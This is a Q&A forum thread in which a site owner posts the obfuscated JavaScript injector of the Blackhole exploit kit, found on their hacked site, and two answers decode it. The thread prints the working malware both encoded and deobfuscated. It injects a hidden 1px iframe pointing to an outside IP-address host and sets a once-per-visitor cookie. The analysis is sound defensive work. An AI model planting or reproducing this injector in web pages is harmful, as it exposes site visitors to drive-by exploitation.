Blackhole Exploit / Javascript

Question

my site got infected by the well known blackhole exploit. After some days and some help scripts i guess i fixed it now.

I'm wondering what this exploit does?

asd=function(){d.body++}; a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,172,151,147,154,174,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,172,151,147,154,174,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,66,64,74,62,74,67,62,66,71,62,66,72,63,151,167,150,62,164,154,164,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,173,155,150,170,154,44,101,44,53,65,164,174,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,160,151,152,170,44,101,44,53,65,164,174,53,77,21,16,44,172,151,147,154,174,62,167,170,175,160,151,62,170,163,164,44,101,44,53,65,164,174,53,77,21,16,21,16,44,155,152,44,54,45,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,172,151,147,154,174,53,55,55,44,177,21,16,44,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,53,100,150,155,172,44,155,150,101,140,53,172,151,147,154,174,140,53,102,100,63,150,155,172,102,53,55,77,21,16,44,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,106,175,115,150,54,53,172,151,147,154,174,53,55,62,145,164,164,151,162,150,107,154,155,160,150,54,172,151,147,154,174,55,77,21,16,44,201,21,16,201,21,16,152,171,162,147,170,155,163,162,44,127,151,170,107,163,163,157,155,151,54,147,163,163,157,155,151,122,145,161,151,60,147,163,163,157,155,151,132,145,160,171,151,60,162,110,145,175,167,60,164,145,170,154,55,44,177,21,16,44,172,145,166,44,170,163,150,145,175,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,172,145,166,44,151,174,164,155,166,151,44,101,44,162,151,173,44,110,145,170,151,54,55,77,21,16,44,155,152,44,54,162,110,145,175,167,101,101,162,171,160,160,44,200,200,44,162,110,145,175,167,101,101,64,55,44,162,110,145,175,167,101,65,77,21,16,44,151,174,164,155,166,151,62,167,151,170,130,155,161,151,54,170,163,150,145,175,62,153,151,170,130,155,161,151,54,55,44,57,44,67,72,64,64,64,64,64,56,66,70,56,162,110,145,175,167,55,77,21,16,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,44,101,44,147,163,163,157,155,151,122,145,161,151,57,46,101,46,57,151,167,147,145,164,151,54,147,163,163,157,155,151,132,145,160,171,151,55,21,16,44,57,44,46,77,151,174,164,155,166,151,167,101,46,44,57,44,151,174,164,155,166,151,62,170,163,113,121,130,127,170,166,155,162,153,54,55,44,57,44,54,54,164,145,170,154,55,44,103,44,46,77,44,164,145,170,154,101,46,44,57,44,164,145,170,154,44,76,44,46,46,55,77,21,16,201,21,16,152,171,162,147,170,155,163,162,44,113,151,170,107,163,163,157,155,151,54,44,162,145,161,151,44,55,44,177,21,16,44,172,145,166,44,167,170,145,166,170,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,162,145,161,151,44,57,44,46,101,46,44,55,77,21,16,44,172,145,166,44,160,151,162,44,101,44,167,170,145,166,170,44,57,44,162,145,161,151,62,160,151,162,153,170,154,44,57,44,65,77,21,16,44,155,152,44,54,44,54,44,45,167,170,145,166,170,44,55,44,52,52,21,16,44,54,44,162,145,161,151,44,45,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,64,60,44,162,145,161,151,62,160,151,162,153,170,154,44,55,44,55,44,55,21,16,44,177,21,16,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,201,21,16,44,155,152,44,54,44,167,170,145,166,170,44,101,101,44,61,65,44,55,44,166,151,170,171,166,162,44,162,171,160,160,77,21,16,44,172,145,166,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,155,162,150,151,174,123,152,54,44,46,77,46,60,44,160,151,162,44,55,77,21,16,44,155,152,44,54,44,151,162,150,44,101,101,44,61,65,44,55,44,151,162,150,44,101,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,160,151,162,153,170,154,77,21,16,44,166,151,170,171,166,162,44,171,162,151,167,147,145,164,151,54,44,150,163,147,171,161,151,162,170,62,147,163,163,157,155,151,62,167,171,146,167,170,166,155,162,153,54,44,160,151,162,60,44,151,162,150,44,55,44,55,77,21,16,201,21,16,155,152,44,54,162,145,172,155,153,145,170,163,166,62,147,163,163,157,155,151,111,162,145,146,160,151,150,55,21,16,177,21,16,155,152,54,113,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,55,101,101,71,71,55,177,201,151,160,167,151,177,127,151,170,107,163,163,157,155,151,54,53,172,155,167,155,170,151,150,143,171,165,53,60,44,53,71,71,53,60,44,53,65,53,60,44,53,63,53,55,77,21,16,21,16,176,176,176,152,152,152,54,55,77,21,16,201,21,16,201,21,16"["split"](",")); ss=eval("S"+"tr"+"ing"); d=document; for(i=0;i<a.length;i+=1){a[i]=-(7-3)+parseInt(a[i],8);}try{asd()}catch(q){zz=0;}try{zz&=2}catch(q){zz=1;}if(!zz)if(window["document"])eval(ss.fromCharCode.apply(ss,a));

Does anybody has experience with this one?

Cheers!

Answer 1

It's an array of character codes, which is converted to the following js code by ss.fromCharCode.apply(ss,a):

function zzzfff() {
    var vechx = document.createElement('iframe');

    vechx.src = 'http://208.83.25.26/esd.php';
    vechx.style.position = 'absolute';
    vechx.style.border = '0';
    vechx.style.height = '1px';
    vechx.style.width = '1px';
    vechx.style.left = '1px';
    vechx.style.top = '1px';

    if (!document.getElementById('vechx')) {
        document.write('<div id=\'vechx\'></div>');
        document.getElementById('vechx').appendChild(vechx);
    }
}

function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) nDays = 1;
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}

function GetCookie(name) {
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) &&
        (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == -1) return null;
    var end = document.cookie.indexOf(";", len);
    if (end == -1) end = document.cookie.length;
    return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
    if (GetCookie('visited_uq') == 55) {} else {
        SetCookie('visited_uq', '55', '1', '/');

        zzzfff();
    }
}

Then that code is run with eval. As far as I can see, it loads http://208.83.25.26/esd.php in an iframe, and sets a cookie.

Answer 2

The procedure with these eval ones is almost always the same. Prettify the code, find and replace the critical eval with a console.log, and just run it:

function zzzfff() {
    var vechx = document.createElement('iframe');
    vechx.src = 'http://208.83.25.26/esd.php';
    vechx.style.position = 'absolute';
    vechx.style.border = '0';
    vechx.style.height = '1px';
    vechx.style.width = '1px';
    vechx.style.left = '1px';
    vechx.style.top = '1px';
    if (!document.getElementById('vechx')) {
        document.write('
');
        document.getElementById('vechx').appendChild(vechx);
    }
}
function SetCookie(cookieName, cookieValue, nDays, path) {
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) nDays = 1;
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name) {
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) && (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == -1) return null;
    var end = document.cookie.indexOf(";", len);
    if (end == -1) end = document.cookie.length;
    return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled) {
    if (GetCookie('visited_uq') == 55) {} else {
        SetCookie('visited_uq', '55', '1', '/');
        zzzfff();
    }
}

Instead of executing the code, it'll print out the code instead. This looks like some sort of tracking code installed on some person's exploited website.